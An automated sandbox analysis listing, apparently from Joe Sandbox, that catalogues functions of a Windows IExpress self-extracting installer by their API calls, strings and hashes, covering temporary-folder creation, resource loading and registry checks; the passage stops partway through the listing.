String ID:
API String ID: 4237285672-0
Opcode ID: 6228c6c3c04576f7fe0a5c896d0ebfcb5ca5917c6344a087f14117b8cdccfc49
Instruction ID: 59d3013c3e3d58d412669bc0f212e54c9aae8590eca204709f0d0376b6df108c
Opcode Fuzzy Hash: 6228c6c3c04576f7fe0a5c896d0ebfcb5ca5917c6344a087f14117b8cdccfc49
Instruction Fuzzy Hash: AF7185B19006AD9FDB27DB61CCC5BFB77ADEB48344F1446A9F5059A1C0DA309E848B60

Function 003E2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000105), ref: 003E2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 003E2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 003E2FC6
DecryptFileA.ADVAPI32 ref: 003E2FE6
FreeLibrary.KERNEL32(00000000), ref: 003E2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 003E301C

Part of subcall function 003E51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,003E2F4D,?,00000002,00000000), ref: 003E5201

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E2FDB, 003E3017
DecryptFileA, xrefs: 003E2FC0
advapi32.dll, xrefs: 003E2F99

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-2712585282
Opcode ID: 1d5d806df4ecdc413009a03659113679710f93e969223f888e09e4a61a17eab4
Instruction ID: 2e27227ac5350b4b53a061d1143bf75e72c9754f211a917c9f857d341be4423e
Opcode Fuzzy Hash: 1d5d806df4ecdc413009a03659113679710f93e969223f888e09e4a61a17eab4
Instruction Fuzzy Hash: 7741B030A002F59ADB33AB339D8976A37AC9B54750F01077AE906DB1D1EB74DE80CA61

Function 003E5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E54C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E556F

Part of subcall function 003E53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 003E53FB
Part of subcall function 003E53A1: GetFileAttributesA.KERNELBASE(?), ref: 003E5402
Part of subcall function 003E53A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?), ref: 003E541F
Part of subcall function 003E53A1: DeleteFileA.KERNEL32(?), ref: 003E542B
Part of subcall function 003E53A1: CreateDirectoryA.KERNEL32(?,00000000), ref: 003E5434

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E547D, 003E5481, 003E54AB, 003E551C, 003E553C, 003E5568
mips, xrefs: 003E54F7
alpha, xrefs: 003E54F0
i386, xrefs: 003E54FE
ppc, xrefs: 003E54E9

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1143122538
Opcode ID: 27ac9036613c419f8361d9b075e7bb1ae1b0109f66c05b2d2336c8f0d6d83b46
Instruction ID: cc5586c8a62438b7ab4ff459cf883135d009677e55ba9aa40426871819222028
Opcode Fuzzy Hash: 27ac9036613c419f8361d9b075e7bb1ae1b0109f66c05b2d2336c8f0d6d83b46
Instruction Fuzzy Hash: 2631EA71B00AF45BCB239B279C456FE779EAB92348F15033AE407DA6D0DB708E418A91

Function 003E2390 Relevance: 12.1, APIs: 8, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,003E8A3A,003E11F4,003E8A3A,00000000,?,?), ref: 003E23F6
lstrcmpA.KERNEL32(?,003E11F8), ref: 003E2427
lstrcmpA.KERNEL32(?,003E11FC), ref: 003E243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 003E2495
DeleteFileA.KERNEL32(?), ref: 003E24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 003E24AF
FindClose.KERNELBASE(00000000), ref: 003E24BE
RemoveDirectoryA.KERNELBASE(003E8A3A), ref: 003E24C5

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 3be5b88ee457eb0ba71edbbe2fed946b2b3c190d6a4fbe44141fdf8b6b0152f1
Instruction ID: 9afee27320b18ec8dcf59e1f589c192dd4d30e275a6239c79c33b40bb3166a36
Opcode Fuzzy Hash: 3be5b88ee457eb0ba71edbbe2fed946b2b3c190d6a4fbe44141fdf8b6b0152f1
Instruction Fuzzy Hash: 8A3174316046D09BD332DB66CC8AEEB73ACAFC4315F044B2DF5558A2D0EB74A9098B52

Function 003E2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,003E6BB0,003E0000,00000000,00000002,0000000A), ref: 003E2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,003E6BB0,003E0000,00000000,00000002,0000000A), ref: 003E2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 003E2C28
CloseHandle.KERNEL32(00000000,?,?,003E6BB0,003E0000,00000000,00000002,0000000A), ref: 003E2C98

Strings

HeapSetInformation, xrefs: 003E2C22
Kernel32.dll, xrefs: 003E2C13

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: eb03d823a30a099404c6a6741cdc1b42db41819bbe52acedb054eec737daf81c
Instruction ID: 337d524b721fe9eaa3650803c0ff281236dad8c2fe1a1b3605dd3b3d343966db
Opcode Fuzzy Hash: eb03d823a30a099404c6a6741cdc1b42db41819bbe52acedb054eec737daf81c
Instruction Fuzzy Hash: 0B11E0316006E59BCB336BB7ECC8AAF375D9B84380F260725F904EB2D0CA30EC018661

Function 003E55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 003E55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 003E5638
LocalFree.KERNEL32(00000000), ref: 003E564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 003E5620

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Part of subcall function 003E6285: GetLastError.KERNEL32(003E5BBC), ref: 003E6285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 003E56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 003E571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 003E5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 003E57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 003E57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 003E5802

Part of subcall function 003E2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 003E2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 003E5830

Part of subcall function 003E6517: FindResourceA.KERNEL32(003E0000,000007D6,00000005), ref: 003E652A
Part of subcall function 003E6517: LoadResource.KERNEL32(003E0000,00000000,?,?,003E2EE8,00000000,003E19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 003E6538
Part of subcall function 003E6517: DialogBoxIndirectParamA.USER32(003E0000,00000000,00000547,003E19E0,00000000), ref: 003E6557
Part of subcall function 003E6517: FreeResource.KERNEL32(00000000,?,?,003E2EE8,00000000,003E19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 003E6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 003E5878

Part of subcall function 003E597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003E59A8
Part of subcall function 003E597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 003E59AF

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E56AE, 003E56B3, 003E583D
msdownld.tmp, xrefs: 003E57D3
A:\, xrefs: 003E56F4
<None>, xrefs: 003E5632
Z, xrefs: 003E570A
RUNPROGRAM, xrefs: 003E55BD, 003E5600

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-1370313076
Opcode ID: fc385281e4f2694e486ffeb3e2f139be08d2eaab9927d4426a4c8896de1574be
Instruction ID: 0c020db2d88280737701a8471d4d5b1b2b62958cdb55b86c6960862645f0710a
Opcode Fuzzy Hash: fc385281e4f2694e486ffeb3e2f139be08d2eaab9927d4426a4c8896de1574be
Instruction Fuzzy Hash: A2812C70B04AF89ADB33AB338C85BEE765D9B65348F010365F586DA1D1DFB09EC18A50

Function 003E4FE0 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 003E4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 003E5006
LockResource.KERNEL32(00000000), ref: 003E500D
GetDlgItem.USER32(00000000,00000842), ref: 003E5030
ShowWindow.USER32(00000000), ref: 003E5037
GetDlgItem.USER32(00000841,00000005), ref: 003E504A
ShowWindow.USER32(00000000), ref: 003E5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 003E5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 003E5159

Strings

CABINET, xrefs: 003E4FE6, 003E4FF7
@"v, xrefs: 003E5006
Yeg, xrefs: 003E4FF9
*MEMCAB, xrefs: 003E50C7

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$@"v$CABINET$Yeg
API String ID: 1305606123-1835192520
Opcode ID: a0beaf0eee2f91949fd43af6810a82fcf6a433a1ee7dae3d3e35705f3cd36545
Instruction ID: 085fc155c1c6a5119b4861e46c9a457e11bf00f553fbf1b54deffdafdc7483e7
Opcode Fuzzy Hash: a0beaf0eee2f91949fd43af6810a82fcf6a433a1ee7dae3d3e35705f3cd36545
Instruction Fuzzy Hash: D23128B0B407E6BBDB335B63ADC9FA7369CA708759F050725F905AE2D1CAB49C008760

Function 003E44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 003E45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 003E45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 003E460D
MessageBeep.USER32(00000000), ref: 003E4630
MessageBoxA.USER32(?,00000000,valid,00000000), ref: 003E4666
LocalFree.KERNEL32(00000000), ref: 003E466F

Part of subcall function 003E681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 003E686E
Part of subcall function 003E681F: GetSystemMetrics.USER32(0000004A), ref: 003E68A7
Part of subcall function 003E681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003E68CC
Part of subcall function 003E681F: RegQueryValueExA.ADVAPI32(?,003E1140,00000000,?,?,?), ref: 003E68F4
Part of subcall function 003E681F: RegCloseKey.ADVAPI32(?), ref: 003E6902

Strings

valid, xrefs: 003E4545, 003E465A
LoadString() Error. Could not load string resource., xrefs: 003E44E4

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$valid
API String ID: 3244514340-303183264
Opcode ID: 844b3ced1195852392029cd994fad762035e0c8281333e5c05513c960c3345f9
Instruction ID: b9fefe75a985bde65f4cb6ec095c02f900fc4c9cda46442f03540f64be2dde18
Opcode Fuzzy Hash: 844b3ced1195852392029cd994fad762035e0c8281333e5c05513c960c3345f9
Instruction Fuzzy Hash: 5D51E8719001A99BDF239F29CC48BAA7B69EF4A340F154795FD09AB2C1DB31DD05CB50

Function 003E468F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
memcpy_s.MSVCRT ref: 003E46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

Strings

valid, xrefs: 003E46E4
@"v, xrefs: 003E46CC
TITLE, xrefs: 003E469D, 003E46C0

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: @"v$TITLE$valid
API String ID: 3370778649-2568985078
Opcode ID: b0314a63322fca406ef2265118821ca9e7bf1caa78e3fefa268a4692ddaf0989
Instruction ID: b403c065b10f6c4f6d200a1d7f35844cf058d2b2418c14e79f7f44d91c6fd48c
Opcode Fuzzy Hash: b0314a63322fca406ef2265118821ca9e7bf1caa78e3fefa268a4692ddaf0989
Instruction Fuzzy Hash: 9701F9362407907BE3321BA65C8CF2B3E2CDBCAF62F054214FA49AB1C0C9719C4082B2

Function 003E53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E171E: _vsnprintf.MSVCRT ref: 003E1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 003E53FB
GetFileAttributesA.KERNELBASE(?), ref: 003E5402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?), ref: 003E541F
DeleteFileA.KERNEL32(?), ref: 003E542B
CreateDirectoryA.KERNEL32(?,00000000), ref: 003E5434
CreateDirectoryA.KERNELBASE(?,00000000), ref: 003E5452

Strings

IXP%03d.TMP, xrefs: 003E53C0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E53B7, 003E53E1, 003E541E
IXP, xrefs: 003E5419

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-2562829823
Opcode ID: 394f549a41742a626ee61090cf377cd3725285a29719c3fe382df6958aaaab0a
Instruction ID: 78a333af42f872478b48822212549818144e577adb53772bea7051b4226d3ab0
Opcode Fuzzy Hash: 394f549a41742a626ee61090cf377cd3725285a29719c3fe382df6958aaaab0a
Instruction Fuzzy Hash: F61104717009A467D322AB279C89FEF366DEBD1725F000325F546DA1D0CE749D868AA1

Function 003E256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,?,?,?,003E1ED3,00000001,00000000,?,?,003E4137,?), ref: 003E25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,?,?,003E1ED3,00000001,00000000,?,?,003E4137,?,003E4096), ref: 003E25CB
RegCloseKey.KERNELBASE(?,?,003E1ED3,00000001,00000000,?,?,003E4137,?,003E4096), ref: 003E25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,?,?,?,003E1ED3,00000001,00000000,?,?,003E4137,?), ref: 003E25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,003E1ED3,00000001,00000000), ref: 003E261A

Strings

PendingFileRenameOperations, xrefs: 003E25C3
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 003E25F5
System\CurrentControlSet\Control\Session Manager, xrefs: 003E25A8

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 1e96aa83aff6d8a3f4c0664efa22f24b1dd72ef6c4a799c6c814ac62b5f50b68
Instruction ID: 64566e931cc17646203b65a560553f1632f9bbe4d5715f4312668706de057de9
Opcode Fuzzy Hash: 1e96aa83aff6d8a3f4c0664efa22f24b1dd72ef6c4a799c6c814ac62b5f50b68
Instruction Fuzzy Hash: 18116D359022B8BBDB22DB939C49DFBBE6CEF017A1F114255F808A20C0D6705E44E6A1

Function 003E6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 003E7182
Part of subcall function 003E7155: GetCurrentProcessId.KERNEL32 ref: 003E7191
Part of subcall function 003E7155: GetCurrentThreadId.KERNEL32 ref: 003E719A
Part of subcall function 003E7155: GetTickCount.KERNEL32 ref: 003E71A3
Part of subcall function 003E7155: QueryPerformanceCounter.KERNEL32(?), ref: 003E71B8

GetStartupInfoW.KERNEL32(?,003E72B8,00000058), ref: 003E6A7F
Sleep.KERNEL32(000003E8), ref: 003E6AB4
_amsg_exit.MSVCRT ref: 003E6AC9
_initterm.MSVCRT ref: 003E6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 003E6B49
exit.KERNELBASE ref: 003E6BBF
_ismbblead.MSVCRT ref: 003E6BDA

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: b6d2d4955b1be6cf4b206a5c8f0b4b46cb00f86e4e98c89993e01c93432fe406
Instruction ID: b471c59fa08cd6ff7ef50cd2eeefd9152f53b3f85ee46cd16ce43ef8f10bdbc2
Opcode Fuzzy Hash: b6d2d4955b1be6cf4b206a5c8f0b4b46cb00f86e4e98c89993e01c93432fe406
Instruction Fuzzy Hash: 03410874D447F6CBDB339B6BDC867AA77A8AB54790F110329E945EB2D0CB704C418B41

Function 003E58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,003E5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E58E7
